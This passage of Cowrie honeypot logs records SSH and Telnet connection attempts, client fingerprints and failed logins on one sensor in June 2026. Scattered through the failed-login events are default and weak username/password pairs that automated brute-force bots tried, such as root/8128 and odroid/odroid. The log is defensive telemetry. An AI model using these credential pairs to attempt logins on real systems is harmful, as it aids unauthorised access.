f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:32.396456Z","src_ip":"163.7.9.84","session":"a6645b03a111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59578,"dst_ip":"10.17.0.5","dst_port":22,"session":"e95d482e328a","protocol":"ssh","message":"New connection: 91.92.40.36:59578 (10.17.0.5:22) [session: e95d482e328a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:32.690702Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:33.394700Z","src_ip":"181.188.176.242","session":"bfdecd766e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8128","message":"login attempt [root/8128] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:33.430576Z","src_ip":"163.7.9.84","session":"a6645b03a111","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:33.630810Z","src_ip":"91.92.40.36","session":"e95d482e328a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:33.634016Z","src_ip":"91.92.40.36","session":"e95d482e328a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5864,"dst_ip":"10.17.0.5","dst_port":22,"session":"83ae39ee5c98","protocol":"ssh","message":"New connection: 196.188.93.169:5864 (10.17.0.5:22) [session: 83ae39ee5c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:33.954247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:33.960690Z","src_ip":"196.188.93.169","session":"83ae39ee5c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:34.132336Z","src_ip":"196.188.93.169","session":"83ae39ee5c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:34.684404Z","src_ip":"163.7.9.84","session":"a6645b03a111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"1qaz@WSX","message":"login attempt [dmdba/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:34.845108Z","src_ip":"196.188.93.169","session":"83ae39ee5c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34126,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f5abfd6001","protocol":"telnet","message":"New connection: 128.199.8.54:34126 (159.203.135.109:23) [session: 80f5abfd6001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:35.788541Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:36.017727Z","src_ip":"196.188.93.169","session":"83ae39ee5c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odroid","password":"odroid","message":"login attempt [odroid/odroid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:38.628057Z","src_ip":"91.92.40.36","session":"e95d482e328a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50470,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef9eaf2ca57","protocol":"ssh","message":"New connection: 91.92.40.36:50470 (10.17.0.5:22) [session: bef9eaf2ca57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:39.391964Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":43304,"dst_ip":"159.203.135.109","dst_port":22,"session":"28604967eec1","protocol":"ssh","message":"New connection: 102.213.34.99:43304 (159.203.135.109:22) [session: 28604967eec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.082269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.086171Z","src_ip":"102.213.34.99","session":"28604967eec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.255800Z","src_ip":"102.213.34.99","session":"28604967eec1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.321597Z","src_ip":"91.92.40.36","session":"bef9eaf2ca57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.325238Z","src_ip":"91.92.40.36","session":"bef9eaf2ca57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.645146Z","src_ip":"91.92.40.36","session":"e95d482e328a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz112233","message":"login attempt [root/Zz112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.672833Z","src_ip":"91.92.40.36","session":"3fe7c3d94ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:40.986235Z","src_ip":"102.213.34.99","session":"28604967eec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:42.158135Z","src_ip":"102.213.34.99","session":"28604967eec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:43.697800Z","src_ip":"91.92.40.36","session":"3fe7c3d94ccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50498,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eace37f8641","protocol":"ssh","message":"New connection: 91.92.40.36:50498 (10.17.0.5:22) [session: 4eace37f8641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:44.792887Z"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:46.671607Z","src_ip":"91.92.40.36","session":"bef9eaf2ca57","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:46.981537Z","src_ip":"91.92.40.36","session":"4eace37f8641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:46.985140Z","src_ip":"91.92.40.36","session":"4eace37f8641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:49.295552Z","src_ip":"91.92.40.36","session":"bef9eaf2ca57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":57554,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d0ac7f11d10","protocol":"ssh","message":"New connection: 14.63.196.175:57554 (159.203.135.109:22) [session: 5d0ac7f11d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:52.332460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:52.336553Z","src_ip":"14.63.196.175","session":"5d0ac7f11d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:52.540694Z","src_ip":"14.63.196.175","session":"5d0ac7f11d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:52.860140Z","src_ip":"91.92.40.36","session":"4eace37f8641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali","message":"login attempt [root/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:53.395929Z","src_ip":"14.63.196.175","session":"5d0ac7f11d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ba6ecc7dca","protocol":"ssh","message":"New connection: 91.92.40.36:27320 (10.17.0.5:22) [session: c2ba6ecc7dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:54.469052Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:54.602418Z","src_ip":"14.63.196.175","session":"5d0ac7f11d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:55.182590Z","src_ip":"91.92.40.36","session":"4eace37f8641","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:55.776888Z","src_ip":"91.92.40.36","session":"c2ba6ecc7dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:55.780351Z","src_ip":"91.92.40.36","session":"c2ba6ecc7dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":51060,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d06418d1533","protocol":"ssh","message":"New connection: 45.123.217.22:51060 (10.17.0.5:22) [session: 5d06418d1533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:56.646132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:56.650474Z","src_ip":"45.123.217.22","session":"5d06418d1533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:56.878303Z","src_ip":"45.123.217.22","session":"5d06418d1533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123aa","message":"login attempt [root/123123aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:57.866414Z","src_ip":"45.123.217.22","session":"5d06418d1533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:59.098124Z","src_ip":"45.123.217.22","session":"5d06418d1533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:01.425537Z","src_ip":"91.92.40.36","session":"c2ba6ecc7dca","protocol":"ssh"}
